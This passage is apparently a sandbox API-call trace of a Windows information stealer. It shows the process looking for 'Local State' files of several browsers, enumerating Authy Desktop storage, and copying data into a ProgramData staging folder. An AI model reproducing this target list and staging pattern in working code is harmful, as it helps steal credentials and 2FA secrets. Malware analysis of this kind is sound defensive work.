returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\" [0097.861] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\" [0097.861] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\Local State" [0097.861] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=74, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0097.861] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x94) returned 0x3430048 [0097.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=74, lpWideCharStr=0x3430048, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\Local State") returned 74 [0097.861] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa0) returned 0x21111c0 [0097.861] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.861] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\local state")) returned 0xffffffff [0097.862] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.862] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.862] GetLastError () returned 0x3 [0097.862] SetLastError (dwErrCode=0x3) [0097.862] GetLastError () returned 0x3 [0097.862] SetLastError (dwErrCode=0x3) [0097.862] GetLastError () returned 0x3 [0097.862] SetLastError (dwErrCode=0x3) [0097.862] GetLastError () returned 0x3 [0097.862] SetLastError (dwErrCode=0x3) [0097.862] GetLastError () returned 0x3 [0097.862] SetLastError (dwErrCode=0x3) [0097.862] GetLastError () returned 0x3 [0097.862] SetLastError (dwErrCode=0x3) [0097.862] GetLastError () returned 0x3 [0097.862] SetLastError (dwErrCode=0x3) [0097.862] GetLastError () returned 0x3 [0097.862] SetLastError (dwErrCode=0x3) [0097.862] GetLastError () returned 0x3 [0097.863] SetLastError (dwErrCode=0x3) [0097.863] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080090, ftCreationTime.dwHighDateTime=0xa8, ftLastAccessTime.dwLowDateTime=0x2080090, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x15, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x690ec0, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.863] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.863] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\360Browser\\Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\" [0097.863] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\" [0097.863] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\" [0097.863] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\Local State" [0097.863] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=78, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0097.863] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x9c) returned 0x3430048 [0097.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=78, lpWideCharStr=0x3430048, cchWideChar=78 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\Local State") returned 78 [0097.863] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa0) returned 0x21111c0 [0097.863] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.863] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\360browser\\browser\\user data\\local state")) returned 0xffffffff [0097.864] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.864] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.864] GetLastError () returned 0x3 [0097.864] SetLastError (dwErrCode=0x3) [0097.864] GetLastError () returned 0x3 [0097.864] SetLastError (dwErrCode=0x3) [0097.864] GetLastError () returned 0x3 [0097.864] SetLastError (dwErrCode=0x3) [0097.864] GetLastError () returned 0x3 [0097.864] SetLastError (dwErrCode=0x3) [0097.864] GetLastError () returned 0x3 [0097.864] SetLastError (dwErrCode=0x3) [0097.864] GetLastError () returned 0x3 [0097.864] SetLastError (dwErrCode=0x3) [0097.864] GetLastError () returned 0x3 [0097.864] SetLastError (dwErrCode=0x3) [0097.864] GetLastError () returned 0x3 [0097.864] SetLastError (dwErrCode=0x3) [0097.864] GetLastError () returned 0x3 [0097.864] SetLastError (dwErrCode=0x3) [0097.864] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080098, ftCreationTime.dwHighDateTime=0xb0, ftLastAccessTime.dwLowDateTime=0x2080098, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x16, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6b9188, cFileName="¤ð\x19", cAlternateFileName="t")) returned 0xffffffff [0097.864] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.865] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Tencent\\QQBrowser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\" [0097.865] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\" [0097.865] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\" [0097.865] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\Local State" [0097.865] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=77, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0097.865] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x9a) returned 0x3430048 [0097.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=77, lpWideCharStr=0x3430048, cchWideChar=77 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\Local State") returned 77 [0097.865] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa0) returned 0x21111c0 [0097.865] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.865] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tencent\\qqbrowser\\user data\\local state")) returned 0xffffffff [0097.865] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.865] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.865] GetLastError () returned 0x3 [0097.865] SetLastError (dwErrCode=0x3) [0097.865] GetLastError () returned 0x3 [0097.865] SetLastError (dwErrCode=0x3) [0097.865] GetLastError () returned 0x3 [0097.865] SetLastError (dwErrCode=0x3) [0097.865] GetLastError () returned 0x3 [0097.865] SetLastError (dwErrCode=0x3) [0097.865] GetLastError () returned 0x3 [0097.865] SetLastError (dwErrCode=0x3) [0097.865] GetLastError () returned 0x3 [0097.865] SetLastError (dwErrCode=0x3) [0097.865] GetLastError () returned 0x3 [0097.866] SetLastError (dwErrCode=0x3) [0097.866] GetLastError () returned 0x3 [0097.866] SetLastError (dwErrCode=0x3) [0097.866] GetLastError () returned 0x3 [0097.866] SetLastError (dwErrCode=0x3) [0097.866] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080096, ftCreationTime.dwHighDateTime=0xa8, ftLastAccessTime.dwLowDateTime=0x2080096, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x15, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x690ec0, cFileName="¤ð\x19", cAlternateFileName="e")) returned 0xffffffff [0097.866] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.866] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\CryptoTab Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\" [0097.866] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\" [0097.866] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\" [0097.866] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\Local State" [0097.866] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=77, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0097.866] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x9a) returned 0x3430048 [0097.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=77, lpWideCharStr=0x3430048, cchWideChar=77 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\Local State") returned 77 [0097.866] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa0) returned 0x21111c0 [0097.866] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.866] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\cryptotab browser\\user data\\local state")) returned 0xffffffff [0097.867] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.867] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.867] GetLastError () returned 0x3 [0097.867] SetLastError (dwErrCode=0x3) [0097.867] GetLastError () returned 0x3 [0097.867] SetLastError (dwErrCode=0x3) [0097.867] GetLastError () returned 0x3 [0097.867] SetLastError (dwErrCode=0x3) [0097.867] GetLastError () returned 0x3 [0097.867] SetLastError (dwErrCode=0x3) [0097.867] GetLastError () returned 0x3 [0097.867] SetLastError (dwErrCode=0x3) [0097.867] GetLastError () returned 0x3 [0097.867] SetLastError (dwErrCode=0x3) [0097.867] GetLastError () returned 0x3 [0097.867] SetLastError (dwErrCode=0x3) [0097.868] GetLastError () returned 0x3 [0097.868] SetLastError (dwErrCode=0x3) [0097.868] GetLastError () returned 0x3 [0097.868] SetLastError (dwErrCode=0x3) [0097.868] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080096, ftCreationTime.dwHighDateTime=0xa8, ftLastAccessTime.dwLowDateTime=0x2080096, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x15, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x691550, cFileName="¤ð\x19", cAlternateFileName="e")) returned 0xffffffff [0097.868] GetLastError () returned 0x3 [0097.868] SetLastError (dwErrCode=0x3) [0097.868] GetLastError () returned 0x3 [0097.868] SetLastError (dwErrCode=0x3) [0097.868] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x21110d0 [0097.868] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x2111478 [0097.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=81, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0097.868] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa2) returned 0x3430048 [0097.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=81, lpWideCharStr=0x3430048, cchWideChar=81 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\*.localstorage") returned 81 [0097.868] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xb0) returned 0x21111c0 [0097.868] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.868] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\*.localstorage", lpFindFileData=0x19f20c | out: lpFindFileData=0x19f20c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x21104ba, dwReserved0=0x0, dwReserved1=0x77926588, cFileName="\x06؀8", cAlternateFileName="+")) returned 0xffffffff [0097.868] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.868] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x1c) returned 0x2111428 [0097.868] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f20c | out: lpFindFileData=0x19f20c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x21104ba, dwReserved0=0x0, dwReserved1=0x77926588, cFileName="\x06؀8", cAlternateFileName="+")) returned 0 [0097.869] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.869] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2111478 [0097.869] CreateDirectoryA (lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\soft"), lpSecurityAttributes=0x0) returned 1 [0097.869] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.869] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2111478 [0097.869] CreateDirectoryA (lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\soft\\authy"), lpSecurityAttributes=0x0) returned 1 [0097.869] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.869] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111478 [0097.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=17, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0097.870] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x22) returned 0x21114a0 [0097.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=17, lpWideCharStr=0x21114a0, cchWideChar=17 | out: lpWideCharStr="files\\Soft\\Authy") returned 17 [0097.870] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x3430048 [0097.870] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21114a0 | out: hHeap=0x2110000) returned 1 [0097.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111078, cbMultiByte=41, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0097.870] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x52) returned 0x3430080 [0097.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111078, cbMultiByte=41, lpWideCharStr=0x3430080, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213") returned 41 [0097.870] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21111c0 [0097.870] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430080 | out: hHeap=0x2110000) returned 1 [0097.874] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8e) returned 0x3430080 [0097.874] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x06؀8", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0097.874] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x3430118 [0097.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x06؀8", cchWideChar=4, lpMultiByteStr=0x3430118, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x06?8", lpUsedDefaultChar=0x0) returned 4 [0097.874] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430118 | out: hHeap=0x2110000) returned 1 [0097.874] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x21111c0 [0097.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21111c0, cbMultiByte=70, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0097.874] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8c) returned 0x2111218 [0097.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21111c0, cbMultiByte=70, lpWideCharStr=0x2111218, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\\x06?8") returned 70 [0097.874] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x3430330 [0097.874] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111218 | out: hHeap=0x2110000) returned 1 [0097.874] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\\x06?8" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\authy desktop\\local storage\\\x06?8"), lpNewFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy\\\x06؀8" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\soft\\authy\\\x06؀8"), bFailIfExists=1) returned 0 [0097.875] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430330 | out: hHeap=0x2110000) returned 1 [0097.875] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.875] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430080 | out: hHeap=0x2110000) returned 1 [0097.875] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.875] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.875] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0097.875] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x98) returned 0x3430048 [0097.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=76, lpWideCharStr=0x3430048, cchWideChar=76 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\leveldb\\*") returned 76 [0097.875] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa0) returned 0x21111c0 [0097.875] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.875] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\leveldb\\*", lpFindFileData=0x19f20c | out: lpFindFileData=0x19f20c*(dwFileAttributes=0x58, ftCreationTime.dwLowDateTime=0x1c00001c, ftCreationTime.dwHighDateTime=0x77926588, ftLastAccessTime.dwLowDateTime=0x6de5ee9b, ftLastAccessTime.dwHighDateTime=0x98, ftLastWriteTime.dwLowDateTime=0x2400ebcf, ftLastWriteTime.dwHighDateTime=0x90, nFileSizeHigh=0xb081112, nFileSizeLow=0x21104b6, dwReserved0=0x2400ebcf, dwReserved1=0x77926588, cFileName="\x0e฀(", cAlternateFileName="&")) returned 0xffffffff [0097.876] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.876] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x1c) returned 0x3430048 [0097.876] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f20c | out: lpFindFileData=0x19f20c*(dwFileAttributes=0x58, ftCreationTime.dwLowDateTime=0x1c00001c, ftCreationTime.dwHighDateTime=0x77926588, ftLastAccessTime.dwLowDateTime=0x6de5ee9b, ftLastAccessTime.dwHighDateTime=0x98, ftLastWriteTime.dwLowDateTime=0x2400ebcf, ftLastWriteTime.dwHighDateTime=0x90, nFileSizeHigh=0xb081112, nFileSizeLow=0x21104b6, dwReserved0=0x2400ebcf, dwReserved1=0x77926588, cFileName="\x0e฀(", cAlternateFileName="&")) returned 0 [0097.876] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.876] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111428 | out: hHeap=0x2110000) returned 1 [0097.876] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2111478 [0097.876] CreateDirectoryA 